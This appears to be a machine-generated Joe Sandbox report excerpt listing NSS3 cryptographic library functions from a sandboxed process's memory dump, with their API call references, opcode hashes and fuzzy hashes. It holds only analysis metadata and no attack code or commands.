String ID: %s mode not allowed: %s$///$//localhost/$9gl$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-2341882872
Opcode ID: 6a2556d412cf56f7c9885bdbd02a96d663e3d2f54a1cdc4fe25d3599d1dce310
Instruction ID: bf98ef84d15f754c76d0dcf9b3dfe3008db2e62cffc844cb3adc657cd4a3a1ec
Opcode Fuzzy Hash: 6a2556d412cf56f7c9885bdbd02a96d663e3d2f54a1cdc4fe25d3599d1dce310
Instruction Fuzzy Hash: 85F10071E042568FEB10CFB5CC917AEBBF1EB06309F184529D89267AC1D7B99801CBE1

Function 6C58A650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C58A670

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PK11_GetInternalKeySlot.NSS3 ref: 6C58A67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C58A69B

Part of subcall function 6C569520: PK11_IsLoggedIn.NSS3(00000000,?,6C59379E,?,00000001,?), ref: 6C569542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58A6C0
TlsGetValue.KERNEL32 ref: 6C58A703
EnterCriticalSection.KERNEL32(?), ref: 6C58A718
PR_Unlock.NSS3(?), ref: 6C58A78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6C58A7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C58A7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6C58A818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C58A82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58A868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C58A873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C58A884
PK11_FreeSymKey.NSS3(00000000), ref: 6C58A894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C58A8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6C58A8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C6A0B04), ref: 6C58A93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58A952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C58A961
PK11_DestroyContext.NSS3(?,00000001), ref: 6C58A96E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: 2357eea902afeacf6eb1fcc06b45871c2bb44eb13d00b355b37155e9a9ebb0f5
Instruction ID: 1d06a65beb7425140f54fe597a7e8d9afd46862a6f155e7bb9a039de0f811fcc
Opcode Fuzzy Hash: 2357eea902afeacf6eb1fcc06b45871c2bb44eb13d00b355b37155e9a9ebb0f5
Instruction Fuzzy Hash: A99103B1E012589FEB00DFA5DC45AAEB7B8AF44308F044525E909AB741F7319E0ACBA1

Function 6C56E6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C56E8AB
EnterCriticalSection.KERNEL32(?), ref: 6C56E8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6C56EA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C56EA6A
PORT_Alloc_Util.NSS3(?), ref: 6C56EB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C56EB23
memcpy.VCRUNTIME140(?,?), ref: 6C56EB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C56EB50
PR_SetError.NSS3(00000000,00000000), ref: 6C56EC0F
PR_Unlock.NSS3(?), ref: 6C56EC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C56EC7D
PR_Unlock.NSS3(?), ref: 6C56EC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C56ECCF
PR_GetCurrentThread.NSS3 ref: 6C56ED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C56ED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C56EDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6C56EDF6
memcpy.VCRUNTIME140(?,?), ref: 6C56EE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C56EE2B

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

free.MOZGLUE(?), ref: 6C56EE43

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: 1703aecebaea77c7d0b77f29cf2daad7ee245221a0f40cfa022d82b06065bd20
Instruction ID: 43124b118dc37644204f011a13641e1d698230e52237f2f0df30347b3a57840c
Opcode Fuzzy Hash: 1703aecebaea77c7d0b77f29cf2daad7ee245221a0f40cfa022d82b06065bd20
Instruction Fuzzy Hash: E9323671605305DFDB14CF6ACC80A9ABBE1BF89308F14892DE89997B61D371E845CF92

Function 6C654760 Relevance: 30.2, APIs: 20, Instructions: 166COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000014,?,?), ref: 6C65477D
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 6C654793
SetSecurityDescriptorOwner.ADVAPI32(00000000,00000000), ref: 6C6547AA
SetSecurityDescriptorGroup.ADVAPI32(00000000,00000000), ref: 6C6547C1
GetLengthSid.ADVAPI32 ref: 6C6547D5
GetLengthSid.ADVAPI32 ref: 6C6547E3
GetLengthSid.ADVAPI32 ref: 6C6547F6
malloc.MOZGLUE(-00000020), ref: 6C654803
InitializeAcl.ADVAPI32(00000000,-00000020,00000002), ref: 6C65481A
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6C654856
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6C65488E
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000), ref: 6C6548C6
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 6C6548D6
PR_SetError.NSS3(FFFFE898,00000000,?,?), ref: 6C6548F5
GetLastError.KERNEL32 ref: 6C6548FF
free.MOZGLUE(00000000), ref: 6C65490F
GetLastError.KERNEL32 ref: 6C654923
GetLastError.KERNEL32 ref: 6C654931
free.MOZGLUE(00000000), ref: 6C654947
free.MOZGLUE(00000000), ref: 6C65494D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DescriptorErrorSecurity$AccessAllowedLastLengthfree$Initializemalloc$DaclGroupOwner
String ID:
API String ID: 3239018249-0
Opcode ID: 25985cabeea546ec7a2996c7dd71a0c32431c9592e92782dd089de8b1cb3f848
Instruction ID: 5e55534c10b16c7566482d9194f341cdfb63c64bfe6ebc2e6c7773ee379e491a
Opcode Fuzzy Hash: 25985cabeea546ec7a2996c7dd71a0c32431c9592e92782dd089de8b1cb3f848
Instruction Fuzzy Hash: 5B51A270701202BBEB009F72DC8AB7A77B8AF06785F640424E916D69A0DBB1E430C66D

Function 6C57EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C588C9F,00000000,00000000,?), ref: 6C57EA29

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C588C9F), ref: 6C57EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C66C6C4), ref: 6C57EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C57EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C57EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C57EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C588C9F), ref: 6C57EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C57EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C57EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C66C754), ref: 6C57EC6D
free.MOZGLUE(?), ref: 6C57EC7F
free.MOZGLUE(00000000), ref: 6C57EC90
free.MOZGLUE(?), ref: 6C57ECA1
free.MOZGLUE(00000000), ref: 6C57ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C57ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6C5891D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C5891E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5891F2
free.MOZGLUE(00000000), ref: 6C5891FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: aeb495566080be8b78f12760beace5171e8730b5a10611e4b8b0b5749371697e
Instruction ID: 43a99f2e7c792add9f96a4b03a2962499b3b708d3ea1b00d9b7367b21457837a
Opcode Fuzzy Hash: aeb495566080be8b78f12760beace5171e8730b5a10611e4b8b0b5749371697e
Instruction Fuzzy Hash: 06A1DA71A013155FFF20CE65DC85BEE7B68EB45348F104435E81AD7BC0E6A5D98487E2

Function 6C5AA730 Relevance: 27.4, APIs: 18, Instructions: 378memorystringCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C5AA778

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

Part of subcall function 6C5AB990: PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6C5AA78B,?), ref: 6C5AB9A4
Part of subcall function 6C5AB990: PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6C5AB9B5
Part of subcall function 6C5AB990: PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6C5AB9D9
Part of subcall function 6C5AB990: PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6C5AB9EC
Part of subcall function 6C5AB990: PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C5ABA0A

Part of subcall function 6C5AA3F0: PORT_ArenaMark_Util.NSS3(?), ref: 6C5AA43E
Part of subcall function 6C5AA3F0: PORT_ArenaMark_Util.NSS3(FFFFFFFF,?,?,?,?,?,?,00000000,?,-0000001C,?,6C5AA7B5,?), ref: 6C5AA457
Part of subcall function 6C5AA3F0: PORT_ArenaAlloc_Util.NSS3(FFFFFFFF,00000018,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C5AA7B5,?), ref: 6C5AA464
Part of subcall function 6C5AA3F0: SECOID_FindOIDByTag_Util.NSS3(000000A8,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C,?,6C5AA7B5,?), ref: 6C5AA48D
Part of subcall function 6C5AA3F0: SECITEM_CopyItem_Util.NSS3(FFFFFFFF,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C5AA49F
Part of subcall function 6C5AA3F0: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,-0000001C), ref: 6C5AA4B2

PORT_ArenaMark_Util.NSS3(?), ref: 6C5AA7FC
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C5AA891
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C5AA8AF
PORT_ArenaAlloc_Util.NSS3(?,00000038), ref: 6C5AA8C0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C5AA967
PK11_GetInternalKeySlot.NSS3 ref: 6C5AA981
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6C5AA9A1
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C5AA9DA
PORT_ArenaAlloc_Util.NSS3(?,00000028), ref: 6C5AAA04
SECKEY_DestroyEncryptedPrivateKeyInfo.NSS3(?,00000001), ref: 6C5AAA45
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AAA70
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5AAAE3
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C5AAB10
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5AAB7D
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C5AABD8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5AAC0F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_Error$Arena_K11_Mark_$DestroyFindFreePrivate$Cert$CopyCriticalEncryptedEnterHashInfoInternalItem_SectionSlotTag_UnlockValuestrlen
String ID:
API String ID: 4141365096-0
Opcode ID: 35312459848748fb6e7f1bae530e35516801f6e8dbfa2c43e8c06787e1b0b2c1
Instruction ID: 6a03c4cbda62043fae2f113a9442f5145c724dae729110d24a8d6311e80009d5
Opcode Fuzzy Hash: 35312459848748fb6e7f1bae530e35516801f6e8dbfa2c43e8c06787e1b0b2c1
Instruction Fuzzy Hash: 8BD1A075A04204EFEB00CF96DC40BAF77E1AF84348F148529E8599B7A1E731DD5ACB92

Function 6C570BA0 Relevance: 25.7, APIs: 17, Instructions: 242memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE0B3,00000000), ref: 6C570BFA

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C570C18
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C570C2E
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C570C39
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C570C45
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C570CC1
PORT_Alloc_Util.NSS3(?), ref: 6C570CDA
memcpy.VCRUNTIME140(?,?,?), ref: 6C570D1B
PK11_GenerateKeyPairWithOpFlags.NSS3 ref: 6C570D79
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C570DB2
PK11_CreateContextBySymKey.NSS3(?,82000104,?,?), ref: 6C570DE4
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C570DFE
PR_SetError.NSS3(FFFFE064,00000000), ref: 6C570E2C
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C570E38
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C570E44
free.MOZGLUE(?), ref: 6C570E7E
free.MOZGLUE(?), ref: 6C570EAE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: DestroyError$K11_$ContextPrivatePublicUtilfree$Alloc_CreateFindFlagsGeneratePairTag_ValueWithmemcpy
String ID:
API String ID: 2510822978-0
Opcode ID: 0ecfb89213bb7f6b7f8701c93c7332f6f256a45c6e2dd81f006643b5f304ee9b
Instruction ID: de862ee2c17d792e9e071855c3e7267ee64e3ef7e0853f28bc48a4d5aa456193
Opcode Fuzzy Hash: 0ecfb89213bb7f6b7f8701c93c7332f6f256a45c6e2dd81f006643b5f304ee9b
Instruction Fuzzy Hash: FB91D2B1904340AFD710DF69DC44B4BBBE4AFC4308F14892EE89997751E732E994CBA2

Function 6C570570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C5705E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C57060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C57061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C570712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C570740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C570760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C5707AE
PK11_FreeSymKey.NSS3(?), ref: 6C5707BC
PK11_FreeSymKey.NSS3(?), ref: 6C5707D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5707DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5707EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C5707F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C57082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C5708A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C5708D0

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: 2aba7c405b803768e1b9bdb58d045289156da4e8d59b74d86624cb2d8dd44869
Instruction ID: 28787a1c42a244ff0d47f9ae5171928bc6eebe9f69a575c282fa99f5e38b198f
Opcode Fuzzy Hash: 2aba7c405b803768e1b9bdb58d045289156da4e8d59b74d86624cb2d8dd44869
Instruction Fuzzy Hash: A291B2B1A04340DBE710DF25DC44B5B77E1AFC4318F148A2EE99987791EB36D894CBA2

Function 6C5AEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5ADAE2,?), ref: 6C5AC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5AF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5AF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C5AF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5AF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C67218C), ref: 6C5AF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C5AF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5AF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C5AF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C5AF210

Part of subcall function 6C5552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C5AF1E9,?,00000000,?,?), ref: 6C5552F5
Part of subcall function 6C5552D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C55530F
Part of subcall function 6C5552D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C555326
Part of subcall function 6C5552D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C5AF1E9,?,00000000,?,?), ref: 6C555340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5AF227

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C5AF23E

Part of subcall function 6C59BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C54E708,00000000,00000000,00000004,00000000), ref: 6C59BE6A
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5504DC,?), ref: 6C59BE7E
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C59BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5AF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C5AF3A8

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C5AF3B3

Part of subcall function 6C552D20: PK11_DestroyObject.NSS3(?,?), ref: 6C552D3C
Part of subcall function 6C552D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C552D5F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: a6f47344e3ba60c1601535a2813087a036a35378c8f941fbc4bf735681ade5c4
Instruction ID: ee81b6612a57f3637ae1ce900a05c288eeb1b1495c9565ecbfd90cbe9a403441
